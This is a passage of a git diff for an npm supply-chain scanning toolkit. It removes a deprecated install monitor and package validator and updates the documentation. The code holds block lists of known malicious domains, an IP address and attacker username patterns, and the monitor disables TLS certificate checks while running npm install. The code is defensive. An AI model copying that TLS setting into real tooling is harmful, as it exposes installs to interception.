= [ - '54.173.15.59' -]; - -const logFile = path.join(process.cwd(), 'npm-install-log.json'); -const suspiciousRequests = []; -const allRequests = []; - -console.log('═══════════════════════════════════════════════'); -console.log('NPM Install Network Monitor'); -console.log('═══════════════════════════════════════════════\n'); - -const packageName = process.argv[2]; - -if (!packageName) { - console.error('❌ Error: Please provide a package name'); - console.log('Usage: node npm-install-monitor.js '); - console.log('Example: node npm-install-monitor.js express'); - process.exit(1); -} - -console.log(`📦 Monitoring installation of: ${packageName}`); -console.log(`⏰ Started at: ${new Date().toISOString()}\n`); - -// Create a temporary test directory -const testDir = path.join(process.cwd(), '.npm-security-test'); -if (!fs.existsSync(testDir)) { - fs.mkdirSync(testDir); -} - -// Initialize package.json in test directory -fs.writeFileSync( - path.join(testDir, 'package.json'), - JSON.stringify({ name: 'security-test', version: '1.0.0' }, null, 2) -); - -console.log('🔍 Monitoring network activity...\n'); - -// Monitor network connections on Unix-like systems -let netstatProcess; -const isWindows = process.platform === 'win32'; - -if (!isWindows) { - // Use lsof on Unix systems to monitor network connections - netstatProcess = spawn('sh', ['-c', ` - while true; do - lsof -i -P -n 2>/dev/null | grep node | grep ESTABLISHED - sleep 0.5 - done - `]); - - netstatProcess.stdout.on('data', (data) => { - const lines = data.toString().split('\n'); - lines.forEach(line => { - if (line.includes('->')) { - const match = line.match(/->([\d\w.-]+):(\d+)/); - if (match) { - const host = match[1]; - const port = match[2]; - const connection = `${host}:${port}`; - - if (!allRequests.includes(connection)) { - allRequests.push(connection); - - // Check if suspicious - const isTrusted = TRUSTED_REGISTRIES.some(reg => host.includes(reg)); - const isMaliciousDomain = KNOWN_MALICIOUS_DOMAINS.some(mal => host.includes(mal)); - const isMaliciousIP = KNOWN_MALICIOUS_IPS.some(ip => host.includes(ip)); - - if (isMaliciousDomain) { - console.log(`🚨 MALICIOUS DOMAIN CONNECTION DETECTED: ${connection}`); - suspiciousRequests.push({ - type: 'MALICIOUS_DOMAIN', - host, - port, - timestamp: new Date().toISOString() - }); - } else if (isMaliciousIP) { - console.log(`🚨 MALICIOUS IP CONNECTION DETECTED: ${connection}`); - suspiciousRequests.push({ - type: 'MALICIOUS_IP', - host, - port, - timestamp: new Date().toISOString() - }); - } else if (!isTrusted && !host.match(/^(127\.0\.0\.1|localhost)/)) { - console.log(`⚠️ Suspicious connection: ${connection}`); - suspiciousRequests.push({ - type: 'SUSPICIOUS', - host, - port, - timestamp: new Date().toISOString() - }); - } else { - console.log(`✓ Trusted connection: ${connection}`); - } - } - } - } - }); - }); -} - -// Run npm install -const npmProcess = spawn('npm', ['install', packageName, '--verbose'], { - cwd: testDir, - env: { ...process.env, NODE_TLS_REJECT_UNAUTHORIZED: '0' } -}); - -let installOutput = ''; - -npmProcess.stdout.on('data', (data) => { - installOutput += data.toString(); - - // Look for HTTP fetches in npm output - const httpMatches = data.toString().match(/https?:\/\/[^\s]+/g); - if (httpMatches) { - httpMatches.forEach(url => { - try { - const urlObj = new URL(url); - const isTrusted = TRUSTED_REGISTRIES.some(reg => urlObj.hostname.includes(reg)); - const isMaliciousDomain = KNOWN_MALICIOUS_DOMAINS.some(mal => urlObj.hostname.includes(mal)); - const isMaliciousIP = KNOWN_MALICIOUS_IPS.some(ip => url.includes(ip)); - - if (isMaliciousDomain) { - console.log(`🚨 MALICIOUS DOMAIN IN NPM OUTPUT: ${url}`); - suspiciousRequests.push({ - type: 'MALICIOUS_DOMAIN_URL', - url, - timestamp: new Date().toISOString() - }); - } else if (isMaliciousIP) { - console.log(`🚨 MALICIOUS IP IN NPM OUTPUT: ${url}`); - suspiciousRequests.push({ - type: 'MALICIOUS_IP_URL', - url, - timestamp: new Date().toISOString() - }); - } else if (!isTrusted) { - console.log(`⚠️ Non-registry URL: ${url}`); - suspiciousRequests.push({ - type: 'NON_REGISTRY_URL', - url, - timestamp: new Date().toISOString() - }); - } - } catch (e) { - // Invalid URL, skip - } - }); - } -}); - -npmProcess.stderr.on('data', (data) => { - installOutput += data.toString(); -}); - -npmProcess.on('close', (code) => { - if (netstatProcess) { - netstatProcess.kill(); - } - - console.log('\n═══════════════════════════════════════════════'); - console.log('Installation Complete'); - console.log('═══════════════════════════════════════════════\n'); - - console.log(`📊 Total unique connections: ${allRequests.length}`); - console.log(`⚠️ Suspicious/Malicious requests: ${suspiciousRequests.length}\n`); - - if (suspiciousRequests.length > 0) { - console.log('🚨 SECURITY ALERT: Suspicious activity detected!\n'); - console.log('Suspicious requests:'); - suspiciousRequests.forEach((req, idx) => { - console.log(` ${idx + 1}. [${req.type}]`); - if (req.url) { - console.log(` URL: ${req.url}`); - } else { - console.log(` Host: ${req.host}:${req.port}`); - } - console.log(` Time: ${req.timestamp}\n`); - }); - - console.log('⚠️ RECOMMENDED ACTIONS:'); - console.log(' 1. DO NOT use this package'); - console.log(' 2. Delete the test directory'); - console.log(' 3. Rotate all credentials (npm, GitHub, etc.)'); - console.log(' 4. Report to npm security: npm@npmjs.com'); - console.log(' 5. Check your system for compromise\n'); - } else { - console.log('✅ No suspicious activity detected during installation\n'); - } - - // Save detailed log - const logData = { - package: packageName, - timestamp: new Date().toISOString(), - exitCode: code, - totalConnections: allRequests.length, - suspiciousCount: suspiciousRequests.length, - suspiciousRequests, - allConnections: allRequests, - installOutput: installOutput.substring(0, 5000) // Limit size - }; - - fs.writeFileSync(logFile, JSON.stringify(logData, null, 2)); - console.log(`📝 Detailed log saved to: ${logFile}\n`); - - // Cleanup test directory - console.log('🧹 Cleaning up test directory...'); - try { - fs.rmSync(testDir, { recursive: true, force: true }); - console.log('✓ Test directory removed\n'); - } catch (err) { - console.error(`⚠️ Could not remove test directory: ${err.message}\n`); - } - - // Exit with error if suspicious activity found - if (suspiciousRequests.length > 0) { - process.exit(1); - } -}); \ No newline at end of file diff --git a/deprecated/package-validator.js b/deprecated/package-validator.js deleted file mode 100644 index 3c89e55..0000000 --- a/deprecated/package-validator.js +++ /dev/null @@ -1,643 +0,0 @@ -#!/usr/bin/env node - -/** - * Package Validator - Pre-installation security check - * Validates packages before installation to detect potential threats - * - * Usage: node package-validator.js - * Example: node package-validator.js express - */ - -const https = require('https'); -const fs = require('fs'); -const path = require('path'); -const { exec } = require('child_process'); -const util = require('util'); - -const execPromise = util.promisify(exec); - -// Load disposable email domains list (stored in user data directory) -const DATA_DIR = path.join(process.env.HOME || process.env.USERPROFILE, '.npm-scanner', 'data'); -const DISPOSABLE_DOMAINS_FILE = path.join(DATA_DIR, 'disposable-email-domains.txt'); -const TRANCO_DOMAINS_FILE = path.join(DATA_DIR, 'tranco-top-100k.csv'); - -let DISPOSABLE_DOMAINS = new Set(); -let TRANCO_DOMAINS = new Map(); // domain -> rank - -try { - if (fs.existsSync(DISPOSABLE_DOMAINS_FILE)) { - const content = fs.readFileSync(DISPOSABLE_DOMAINS_FILE, 'utf8'); - DISPOSABLE_DOMAINS = new Set(content.split('\n').map(d => d.trim().toLowerCase()).filter(d => d)); - } -} catch (err) { - // Silently continue if file not found -} - -try { - if (fs.existsSync(TRANCO_DOMAINS_FILE)) { - const content = fs.readFileSync(TRANCO_DOMAINS_FILE, 'utf8'); - content.split('\n').forEach(line => { - const [rank, domain] = line.split(','); - if (rank && domain) { - TRANCO_DOMAINS.set(domain.trim().toLowerCase(), parseInt(rank, 10)); - } - }); - } -} catch (err) { - // Silently continue if file not found -} - -// Privacy relay domains - legitimate but anonymous -const PRIVACY_RELAY_DOMAINS = new Set([ - 'privaterelay.appleid.com', - 'icloud.com', - 'duck.com', - 'mozmail.com', - 'relay.firefox.com', - 'protonmail.com', - 'protonmail.ch', - 'proton.me', - 'pm.me', - 'tutanota.com', - 'tutanota.de', - 'tutamail.com', - 'tuta.io' -]); - -// Domain cache: domain -> { result: string, count: number } -const DOMAIN_CACHE = new Map(); - -// Check domain with caching -function checkDomainCached(domain) { - if (!domain) return { result: null, isNew: false }; - - // Check cache - if (DOMAIN_CACHE.has(domain)) { - const cached = DOMAIN_CACHE.get(domain); - cached.count++; - return { result: cached.result, isNew: false }; - } - - // Perform checks - const issues = []; - const positives = []; - - // Disposable check - if (DISPOSABLE_DOMAINS.has(domain)) { - issues.push('disposable'); - } - - // Privacy relay check - if (PRIVACY_RELAY_DOMAINS.has(domain)) { - issues.push('privacy-relay'); - } - - // Tranco reputation check - if (TRANCO_DOMAINS.has(domain)) { - const rank = TRANCO_DOMAINS.get(domain); - if (rank <= 1000) { - positives.push('trusted:top1k'); - } else if (rank <= 10000) { - positives.push('trusted:top10k'); - } else if (rank <= 100000) { - positives.push('trusted:top100k'); - } - } - - // Combine result - const result = [...issues, ...positives].join('|') || null; - - // Cache it - DOMAIN_CACHE.set(domain, { result, count: 1 }); - - return { result, isNew: true }; -} - -// Get domain statistics -function getDomainStats() { - return Array.from(DOMAIN_CACHE.entries()) - .map(([domain, { result, count }]) => ({ domain, result, count })) - .sort((a, b) => b.count - a.count); -} - -const COLORS = { - RED: '\x1b[31m', - YELLOW: '\x1b[33m', - GREEN: '\x1b[32m', - BLUE: '\x1b[34m', - RESET: '\x1b[0m' -}; - -// Risk thresholds -const RISK_WEIGHTS = { - MALICIOUS_DOMAIN: 100, - MALICIOUS_IP: 100, - ATTACKER_PATTERN: 100, - HTTP_DEPENDENCY: 50, - DISPOSABLE_EMAIL: 40, - SUSPICIOUS_EMAIL_PATTERN: 30, - PRIVACY_RELAY_EMAIL: 15, - NEW_PACKAGE: 20, - SINGLE_MAINTAINER: 10, - LOW_DOWNLOADS: 15, - INSTALL_SCRIPTS: 25, - RECENT_VERSION: 10, - // Positive modifiers (reduce risk) - TRUSTED_TOP1K: -10, - TRUSTED_TOP10K: -5, - TRUSTED_TOP100K: -2 -}; - -// Suspicious email patterns (regex) - enhanced detection -const SUSPICIOUS_EMAIL_PATTERNS = [ - /temp/i, - /disposable/i, - /trash/i, - /fake/i, - /spam/i, - /throwaway/i, - /guerrilla/i, - /mailinator/i, - /10minute/i, - /tempmail/i, - /test\d+/i, - /noreply/i, - /no-reply/i, - /donotreply/i -]; - -// ============================================================================ -// INDICATORS OF COMPROMISE (IOCs) -// ============================================================================ -// Source of truth is in scripts/npm-audit-lib.sh - keep in sync when updating. - -// Known malicious domains -const MALICIOUS_DOMAINS = [ - 'packages.storeartifact.com', - 'storeartifact.com' -]; - -// Known malicious IP addresses -const MALICIOUS_IPS = [ - '54.173.15.59' -]; - -// Suspicious attacker username/email patterns (regex) -const ATTACKER_PATTERNS = [ - /jpdtester\d+/i, - /npmhell/i, - /npmpackagejpd/i -]; - -// Popular packages for typosquatting detection -const TYPOSQUATTING_TARGETS = [ - // Original - 'express', 'react', 'vue', 'angular', 'lodash', 'axios', 'webpack', - 'babel', 'eslint', 'typescript', 'prettier', 'jest', 'mocha', - // Added in v1.1.0 - 'chalk', 'moment', 'uuid', 'commander', 'debug', 'request', - 'async', 'bluebird', 'underscore', 'q', 'colors', 'minimist', - 'yargs', 'glob', 'rimraf' -]; - -class PackageValidator { - constructor(packageName) { - this.packageName = packageName; - this.riskScore = 0; - this.findings = []; - this.packageData = null; - } - - log(message, color = COLORS.RESET) { - console.log(`${color}${message}${COLORS.RESET}`); - } - - addFinding(severity, category, message, points) { - this.findings.push({ severity, category, message, points }); - this.riskScore += points; - } - - async fetchPackageData() { - return new Promise((resolve, reject) => { - const url = `https://registry.npmjs.org/${encodeURIComponent(this.packageName)}`; - - https.get(url, (res) => { - let data = ''; - - res.on('data', (chunk) => { - data += chunk; - }); - - res.on('end', () => { - if (res.statusCode === 200) { - resolve(JSON.parse(data)); - } else if (res.statusCode === 404) { - reject(new Error('Package not found in npm registry')); - } else { - reject(new Error(`HTTP ${res.statusCode}: ${res.statusMessage}`)); - } - }); - }).on('error', (err) => { - reject(err); - }); - }); - } - - checkPackageAge(packageData) { - const created = new Date(packageData.time.created); - const now = new Date(); - const ageInDays = Math.floor((now - created) / (1000 * 60 * 60 * 24)); - - if (ageInDays < 30) { - this.addFinding( - 'HIGH', - 'Package Age', - `Package is only ${ageInDays} days old (created ${created.toDateString()})`, - RISK_WEIGHTS.NEW_PACKAGE - ); - } else if (ageInDays < 90) { - this.addFinding( - 'MEDIUM', - 'Package Age', - `Package is ${ageInDays} days old (created ${created.toDateString()})`, - RISK_WEIGHTS.NEW_PACKAGE / 2 - ); - } - - // Check latest version age - const latestVersion = packageData['dist-tags'].latest; - const latestPublish = new Date(packageData.time[latestVersion]); - const versionAgeInDays = Math.floor((now - latestPublish) / (1000 * 60 * 60 * 24)); - - if (versionAgeInDays < 7) { - this.addFinding( - 'MEDIUM', - 'Version Age', - `Latest version published only ${versionAgeInDays} days ago`, - RISK_WEIGHTS.RECENT_VERSION - ); - } - } - - checkMaintainers(packageData) { - const maintainers = Array.isArray(packageData.maintainers) ? packageData.maintainers : []; - - if (maintainers.length === 0) { - this.addFinding( - 'HIGH', - 'Maintainers', - 'Package has no listed maintainers', - RISK_WEIGHTS.SINGLE_MAINTAINER * 2 - ); - } else if (maintainers.length === 1) { - const maintainer = maintainers[0]; - const maintainerInfo = maintainer.name ? - `${maintainer.name} <${maintainer.email || ''}>` : - maintainer.email || ''; - this.addFinding( - 'LOW', - 'Maintainers', - `Single maintainer: ${maintainerInfo}`, - RISK_WEIGHTS.SINGLE_MAINTAINER - ); - } - - // Check emails using cached domain lookups - maintainers.forEach(m => { - if (!m.email) return; - - const domain = m.email.split('@')[1]?.toLowerCase(); - if (!domain) return; - - // Get cached domain result (includes disposable, privacy-relay, trusted checks) - const { result } = checkDomainCached(domain); - - if (result) { - const flags = result.split('|'); - - // Disposable email - if (flags.includes('disposable')) { - this.addFinding( - 'HIGH', - 'Disposable Email', - `Maintainer uses disposable email domain: ${m.email}`, - RISK_WEIGHTS.DISPOSABLE_EMAIL - ); - } - - // Privacy relay - if (flags.includes('privacy-relay')) { - this.addFinding( - 'LOW', - 'Privacy Relay Email', - `Maintainer uses privacy relay: ${m.email}`, - RISK_WEIGHTS.PRIVACY_RELAY_EMAIL - ); - } - - // Trusted domains (positive) - if (flags.includes('trusted:top1k')) { - this.addFinding( - 'INFO', - 'Trusted Domain', - `Maintainer email from top 1k domain: ${domain}`, - RISK_WEIGHTS.TRUSTED_TOP1K - ); - } else if (flags.includes('trusted:top10k')) { - this.addFinding( - 'INFO', - 'Trusted Domain', - `Maintainer email from top 10k domain: ${domain}`, - RISK_WEIGHTS.TRUSTED_TOP10K - ); - } else if (flags.includes('trusted:top100k')) { - this.addFinding( - 'INFO', - 'Trusted Domain', - `Maintainer email from top 100k domain: ${domain}`, - RISK_WEIGHTS.TRUSTED_TOP100K - ); - } - } - - // Check for suspicious patterns in full email (not domain-cached) - for (const pattern of SUSPICIOUS_EMAIL_PATTERNS) { - if (pattern.test(m.email)) { - this.addFinding( - 'MEDIUM', - 'Suspicious Email', - `Suspicious email pattern detected: ${m.email}`, - RISK_WEIGHTS.SUSPICIOUS_EMAIL_PATTERN - ); - break; - } - } - - // Check for known attacker patterns (not domain-cached) - ATTACKER_PATTERNS.forEach(pattern => { - if (pattern.test(m.email)) { - this.addFinding( - 'CRITICAL', - 'Attacker Pattern', - `Maintainer email matches known attacker pattern: ${m.email}`, - RISK_WEIGHTS.ATTACKER_PATTERN - ); - } - }); - }); - - // Check usernames for attacker patterns - maintainers.forEach(m => { - const username = m.name || ''; - ATTACKER_PATTERNS.forEach(pattern => { - if (pattern.test(username)) { - this.addFinding( - 'CRITICAL', - 'Attacker Pattern', - `Maintainer username matches known attacker pattern: ${username}`, - RISK_WEIGHTS.ATTACKER_PATTERN - ); - } - }); - }); - - } - - async checkDownloads() { - try { - const { stdout } = await execPromise(`npm view ${this.packageName} dist.last-week --json`); - const weeklyDownloads = parseInt(stdout.trim()) || 0; - - if (weeklyDownloads < 100) { - this.addFinding( - 'MEDIUM', - 'Downloads', - `Low weekly downloads: ${weeklyDownloads}`, - RISK_WEIGHTS.LOW_DOWNLOADS - ); - } - } catch (err) { - // Downloads data not available, not a critical issue - } - } - - checkDependencies(packageData) { - const latestVersion = packageData['dist-tags'].latest; - const versionData = packageData.versions[latestVersion]; - const deps = { - ...versionData.dependencies || {}, - ...versionData.devDependencies || {}, - ...versionData.peerDependencies || {} - }; - - Object.entries(deps).forEach(([name, version]) => { - // Check for HTTP/HTTPS URL dependencies - if (version.match(/^https?:\/\//)) { - const hasMaliciousDomain = MALICIOUS_DOMAINS.some(domain => version.includes(domain)); - const hasMaliciousIP = MALICIOUS_IPS.some(ip => version.includes(ip)); - - if (hasMaliciousDomain) { - this.addFinding( - 'CRITICAL', - 'Malicious Dependency', - `Known malicious domain in dependency: ${name} -> ${version}`, - RISK_WEIGHTS.MALICIOUS_DOMAIN - ); - } else if (hasMaliciousIP) { - this.addFinding( - 'CRITICAL', - 'Malicious IP', - `Known malicious IP in dependency: ${name} -> ${version}`, - RISK_WEIGHTS.MALICIOUS_IP - ); - } else { - this.addFinding( - 'HIGH', - 'HTTP Dependency', - `External HTTP dependency: ${name} -> ${version}`, - RISK_WEIGHTS.HTTP_DEPENDENCY - ); - } - } - }); - } - - checkScripts(packageData) { - const latestVersion = packageData['dist-tags'].latest; - const versionData = packageData.versions[latestVersion]; - const scripts = versionData.scripts || {}; - - const dangerousScripts = ['preinstall', 'install', 'postinstall']; - const foundScripts = []; - - dangerousScripts.forEach(scriptName => { - if (scripts[scriptName]) { - foundScripts.push(`${scriptName}: ${scripts[scriptName]}`); - } - }); - - if (foundScripts.length > 0) { - this.addFinding( - 'MEDIUM', - 'Install Scripts', - `Package has lifecycle scripts that run automatically:\n ${foundScripts.join('\n ')}`, - RISK_WEIGHTS.INSTALL_SCRIPTS - ); - } - } - - checkTyposquatting() { - TYPOSQUATTING_TARGETS.forEach(popular => { - const distance = this.levenshteinDistance(this.packageName, popular); - if (distance > 0 && distance <= 2) { - this.addFinding( - 'HIGH', - 'Typosquatting', - `Package name is similar to popular package "${popular}" (edit distance: ${distance})`, - 30 - ); - } - }); - } - - levenshteinDistance(str1, str2) { - const matrix = []; - - for (let i = 0; i <= str2.length; i++) { - matrix[i] = [i]; - } - - for (let j = 0; j <= str1.length; j++) { - matrix[0][j] = j; - } - - for (let i = 1; i <= str2.length; i++) { - for (let j = 1; j <= str1.length; j++) { - if (str2.charAt(i - 1) === str1.charAt(j - 1)) { - matrix[i][j] = matrix[i - 1][j - 1]; - } else { - matrix[i][j] = Math.min( - matrix[i - 1][j - 1] + 1, - matrix[i][j - 1] + 1, - matrix[i - 1][j] + 1 - ); - } - } - } - - return matrix[str2.length][str1.length]; - } - - getRiskLevel() { - if (this.riskScore >= 80) return { level: 'CRITICAL', color: COLORS.RED }; - if (this.riskScore >= 50) return { level: 'HIGH', color: COLORS.RED }; - if (this.riskScore >= 25) return { level: 'MEDIUM', color: COLORS.YELLOW }; - if (this.riskScore >= 10) return { level: 'LOW', color: COLORS.YELLOW }; - return { level: 'SAFE', color: COLORS.GREEN }; - } - - printReport() { - console.log('\n═══════════════════════════════════════════════'); - console.log('Package Security Validation Report'); - console.log('═══════════════════════════════════════════════\n'); - - console.log(`Package: ${this.packageName}`); - console.log(`Risk Score: ${this.riskScore}`); - - const risk = this.getRiskLevel(); - this.log(`Risk Level: ${risk.level}`, risk.color); - - if (this.findings.length === 0) { - this.log('\n✅ No security concerns detected!\n', COLORS.GREEN); - return; - } - - console.log('\nFindings:\n'); - - const grouped = {}; - this.findings.forEach(finding => { - if (!grouped[finding.severity]) { - grouped[finding.severity] = []; - } - grouped[finding.severity].push(finding); - }); - - ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].forEach(severity => { - if (grouped[severity]) { - grouped[severity].forEach(finding => { - const color = severity === 'CRITICAL' || severity === 'HIGH' - ? COLORS.RED - : severity === 'MEDIUM' - ? COLORS.YELLOW - : COLORS.BLUE; - - this.log(` [${severity}] ${finding.category}`, color); - console.log(` ${finding.message}`); - console.log(` Risk points: +${finding.points}\n`); - }); - } - }); - - console.log('═══════════════════════════════════════════════'); - console.log('Recommendation'); - console.log('═══════════════════════════════════════════════\n'); - - if (risk.level === 'CRITICAL') { - this.log('🚨 DO NOT INSTALL THIS PACKAGE', COLORS.RED); - console.log('This package shows signs of malicious behavior.\n'); - } else if (risk.level === 'HIGH') { - this.log('⚠️ HIGH RISK - Exercise extreme caution', COLORS.RED); - console.log('Carefully review the package source code before installing.\n'); - } else if (risk.level === 'MEDIUM') { - this.log('⚠️ MEDIUM RISK - Proceed with caution', COLORS.YELLOW); - console.log('Review the findings and verify the package legitimacy.\n'); - } else if (risk.level === 'LOW') { - this.log('ℹ️ LOW RISK - Some concerns noted', COLORS.YELLOW); - console.log('Package appears mostly safe but review the findings.\n'); - } else { - this.log('✅ Package appears safe to use', COLORS.GREEN); - console.log('No significant security concerns detected.\n'); - } - } - - async validate() { - try { - this.log('Fetching package data...', COLORS.BLUE); - this.packageData = await this.fetchPackageData(); - - this.log('Analyzing package...', COLORS.BLUE); - - this.checkPackageAge(this.packageData); - this.checkMaintainers(this.packageData); - await this.checkDownloads(); - this.checkDependencies(this.packageData); - this.checkScripts(this.packageData); - this.checkTyposquatting(); - - this.printReport(); - - // Exit with error code if high risk - const risk = this.getRiskLevel(); - if (risk.level === 'CRITICAL' || risk.level === 'HIGH') { - process.exit(1); - } - - } catch (err) { - this.log(`\n❌ Error: ${err.message}`, COLORS.RED); - process.exit(1); - } - } -} - -// Main -const packageName = process.argv[2]; - -if (!packageName) { - console.error('❌ Error: Please provide a package name'); - console.log('Usage: node package-validator.js '); - console.log('Example: node package-validator.js express'); - process.exit(1); -} - -const validator = new PackageValidator(packageName); -validator.validate(); \ No newline at end of file diff --git a/deprecated/recursive-audit-script.sh b/deprecated/recursive-audit-script.sh deleted file mode 100755 index 135100b..0000000 --- a/deprecated/recursive-audit-script.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash - -# Recursive NPM Security Audit Script -# -# ⚠️ DEPRECATED: This script has been consolidated into audit-installed-packages.sh -# -# The functionality of this script is now available via: -# ./npm-scanner.sh scan --project [options] [directory] - -set -e - -# Get script directory for reference (now in deprecated/) -SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" - -echo "=======================================================" -echo "Recursive NPM Security Audit Script" -echo "=======================================================" -echo "" -echo -e "\033[0;31m⚠️ DEPRECATED: This script has been deprecated\033[0m" -echo "" -echo "This script has been consolidated into npm-scanner.sh" -echo "for improved code reuse and consistency." -echo "" -echo -e "\033[1;33mPlease use:\033[0m" -echo " ./npm-scanner.sh scan --project [options] [directory]" -echo "" -echo "Migration examples:" -echo "" -echo " Old: ./recursive-audit-script.sh ~/projects" -echo " New: ./npm-scanner.sh scan --project ~/projects" -echo "" -echo " Old: ./recursive-audit-script.sh -d 5 ~/projects" -echo " New: ./npm-scanner.sh scan --project --max-depth 5 ~/projects" -echo "" -echo " Old: ./recursive-audit-script.sh -e test -e dist ~/projects" -echo " New: ./npm-scanner.sh scan --project -e test -e dist ~/projects" -echo "" -echo " Old: ./recursive-audit-script.sh -s ~/projects" -echo " New: ./npm-scanner.sh scan --project --summary ~/projects" -echo "" -echo " Old: ./recursive-audit-script.sh -p ~/projects" -echo " New: ./npm-scanner.sh scan --project --parallel ~/projects" -echo "" -echo "Available options:" -echo " --project Scan project directories recursively" -echo " --max-depth N Maximum directory depth (default: 10)" -echo " -e, --exclude DIR Exclude directories (can be repeated)" -echo " --parallel Run audits in parallel" -echo " -s, --summary Summary mode (one-line per project)" -echo " -n, --limit N Limit scan to first N projects" -echo " -r, --random Randomly sample projects" -echo "" -echo "For more information, see:" -echo " ./npm-scanner.sh scan --help" -echo "" -echo "Migration guide: https://github.com/virtualian/npm-scanner/issues/9" -echo "" -exit 1 diff --git a/docs/README.md b/docs/README.md index f874590..3e2a46a 100644 --- a/docs/README.md +++ b/docs/README.md @@ -1,32 +1,44 @@ # npm-scanner Documentation +Security auditing toolkit for detecting npm supply chain attacks. Detects threats that `npm audit` misses—URL dependencies (PhantomRaven-style attacks), malicious lifecycle scripts, typosquatting, and suspicious package metadata. + +Zero npm dependencies by design: a security tool that depends on npm packages would be vulnerable to the same attacks it's trying to detect. + +--- + ## Users +Get started with npm-scanner and learn how to protect your projects. + ### How-To Guides -- [Set Up npm-scanner](users/how-to/getting-started.md) -- [Scan Projects](users/how-to/scan-projects.md) -- [Validate Packages](users/how-to/validate-packages.md) -- [Integrate with CI/CD](users/how-to/integrate-with-ci.md) +- [Set Up npm-scanner](users/how-to/getting-started.md) — Install and run your first scan +- [Scan Projects](users/how-to/scan-projects.md) — Audit installed packages and dependencies +- [Validate Packages](users/how-to/validate-packages.md) — Check packages before installation +- [Integrate with CI/CD](users/how-to/integrate-with-ci.md) — Automate scanning in pipelines ### Reference -- [Command Reference](users/reference/command-reference.md) +- [Command Reference](users/reference/command-reference.md) — All commands and options ### Explanation -- [Threat Model](users/explanation/threat-model.md) +- [Threat Model](users/explanation/threat-model.md) — What attacks npm-scanner detects and why + +--- ## Contributors +Understand the codebase and contribute improvements. + ### How-To Guides -- [Contribute](contributors/how-to/contributing.md) +- [Contribute](contributors/how-to/contributing.md) — Development setup and guidelines ### Reference -- [Architecture](contributors/reference/architecture.md) +- [Architecture](contributors/reference/architecture.md) — Codebase structure and components ### Explanation -- [Design Decisions](contributors/explanation/design-decisions.md) +- [Design Decisions](contributors/explanation/design-decisions.md) — Why the toolkit works the way it does diff --git a/docs/contributors/reference/architecture.md b/docs/contributors/reference/architecture.md index 0d78065..525a686 100644 --- a/docs/contributors/reference/architecture.md +++ b/docs/contributors/reference/architecture.md @@ -59,8 +59,7 @@ npm-scanner/ │ └── npmrc-security-config.sh ├── docs/ # Documentation ├── templates/ # Report templates -├── reports/ # Scan output (gitignored) -└── deprecated/ # Old scripts for reference +└── reports/ # Scan output (gitignored) ``` ## Components diff --git a/docs/users/explanation/threat-model.md b/docs/users/explanation/threat-model.md index 3c265aa..1f7ece7 100644 --- a/docs/users/explanation/threat-model.md +++ b/docs/users/explanation/threat-model.md @@ -17,7 +17,7 @@ npm-scanner protects against **supply chain attacks** delivered through npm pack - Known CVEs (use `npm audit` for these) - Runtime behavior analysis - Source code static analysis -- Network traffic inspection (except via npm-install-monitor.js) +- Network traffic inspection ## Attack Vectors diff --git a/good-report-example/audit-report.md b/good-report-example/audit-report.md deleted file mode 100644 index 047f0b6..0000000 --- a/good-report-example/audit-report.md +++ /dev/null @@ -1,89 +0,0 @@ -## NPM Security Audit - -| | | -|---|---| -| **Date** | 2025-11-03 01:07+0000, UTC | -| **Scan Type** | Global | -| **Global Found** | 2953 | -| **How Selected** | Sequential | -| **Number Selected** | 20 | -| **Unique Scanned** | 20 | -| **Packages Risk >50** | **0 (0%)** | - -### Summary of Findings - -| Indicator | No of Packages | -|-----------|----------------| -| HTTP URL dependencies | 0 | -| Lifecycle scripts | 0 | -| Recently created | 0 | -| Fetch warnings | 0 | -| Solo Maintainers | 17 | -| TOTAL | 17 | - -See Package List below for details. - -### Maintainer Risk - -| Concentration Risk | No of Packages | Notes | -|-------------------|----------------|-------| -| Solo Maintainer(s) | 17 | 85% | -| 2 Maintainers | 2 | 10% of total analysed | -| 3 Maintainers | 0 | 0% of total analysed | -| 4+ Maintainers | 1 | 5% of total analysed | -| Unique Maintainers | 27 | | - -| Top 10 Maintainers | Packages Maintained | No of Risky Packages | -|--------------------|---------------------|----------------------| -| `types ` | 3 | 0 | -| `superjoe ` | 2 | 0 | -| `lovell ` | 2 | 0 | -| `zak-anthropic ` | 1 | 0 | -| `wolffiex ` | 1 | 0 | -| `vweevers ` | 1 | 0 | -| `tootallnate ` | 1 | 0 | -| `thomasaribart ` | 1 | 0 | -| `thejoshwolfe ` | 1 | 0 | -| `sindresorhus ` | 1 | 0 | - -| Solo Maintainer | Package | No of Solo Packages | -|-----------------|---------|---------------------| -| `types ` | `@types/json-schema` | 3 | -| `lovell ` | `@img/sharp-libvips-darwin-x64` | 2 | -| `colinhacks ` | `zod` | 1 | -| `cspotcode ` | `v8-compile-cache-lib` | 1 | -| `dsherret ` | `ts-morph` | 1 | -| `feross ` | `queue-microtask` | 1 | -| `leerobinson ` | `micro` | 1 | -| `matteo.collina ` | `reusify` | 1 | -| `oss-bot ` | `@pkgjs/parseargs` | 1 | -| `overlookmotel ` | `yauzl-promise` | 1 | -| `sindresorhus ` | `shebang-regex` | 1 | -| `superjoe ` | `pend` | 1 | -| `thomasaribart ` | `json-schema-to-ts` | 1 | -| `tootallnate ` | `@tootallnate/once` | 1 | - -### Package List - -| Package | Risk Score | Indicator | -|---------|------------|-----------| -| `@img/sharp-darwin-x64` | 10 | Solo | -| `@img/sharp-libvips-darwin-x64` | 10 | Solo | -| `@pkgjs/parseargs` | 10 | Solo | -| `@tootallnate/once` | 10 | Solo | -| `@types/estree` | 10 | Solo | -| `@types/json-schema` | 10 | Solo | -| `@types/node` | 10 | Solo | -| `json-schema-to-ts` | 10 | Solo | -| `micro` | 10 | Solo | -| `pend` | 10 | Solo | -| `queue-microtask` | 10 | Solo | -| `reusify` | 10 | Solo | -| `shebang-regex` | 10 | Solo | -| `ts-morph` | 10 | Solo | -| `v8-compile-cache-lib` | 10 | Solo | -| `yauzl-promise` | 10 | Solo | -| `zod` | 10 | Solo | -| `@anthropic-ai/claude-code` | 0 | | -| `fd-slicer` | 0 | | -| `node-gyp-build` | 0 | | diff --git a/good-report-example/global-@anthropic-ai_claude-code.md b/good-report-example/global-@anthropic-ai_claude-code.md deleted file mode 100644 index 5689592..0000000 --- a/good-report-example/global-@anthropic-ai_claude-code.md +++ /dev/null @@ -1,28 +0,0 @@ -## @anthropic-ai/claude-code - -- **Scanned:** 2025-11-03 01:07:43 GMT -- **Status:** Risk 0/100 (None) - -### Findings - -| Indicator | Result | -|----------|--------| -| 